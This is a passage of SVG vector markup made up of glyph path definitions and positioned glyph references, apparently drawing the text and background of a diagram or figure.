1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="ab"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="ac"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="ad"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="ae"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="af"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="ag"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h707v453H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.194 15.514h35.272v22.578H24.194zm0 0" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M57.89 22.11h129.301v23.85h-129.3zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="57.891" y="40.359"/><use xlink:href="#b" x="66.367" y="40.359"/><use xlink:href="#c" x="75" y="40.359"/><use xlink:href="#d" x="81.758" y="40.359"/><use xlink:href="#e" x="87.266" y="40.359"/><use xlink:href="#f" x="95.273" y="40.359"/><use xlink:href="#g" x="99.941" y="40.359"/><use xlink:href="#h" x="109.395" y="40.359"/><use xlink:href="#h" x="118.047" y="40.359"/><use xlink:href="#i" x="126.699" y="40.359"/><use xlink:href="#j" x="132.188" y="40.359"/><use xlink:href="#c" x="140.449" y="40.359"/><use xlink:href="#c" x="147.207" y="40.359"/><use xlink:href="#k" x="153.965" y="40.359"/><use xlink:href="#l" x="160.879" y="40.359"/><use xlink:href="#m" x="168.398" y="40.359"/><use xlink:href="#j" x="177.09" y="40.359"/></g><path 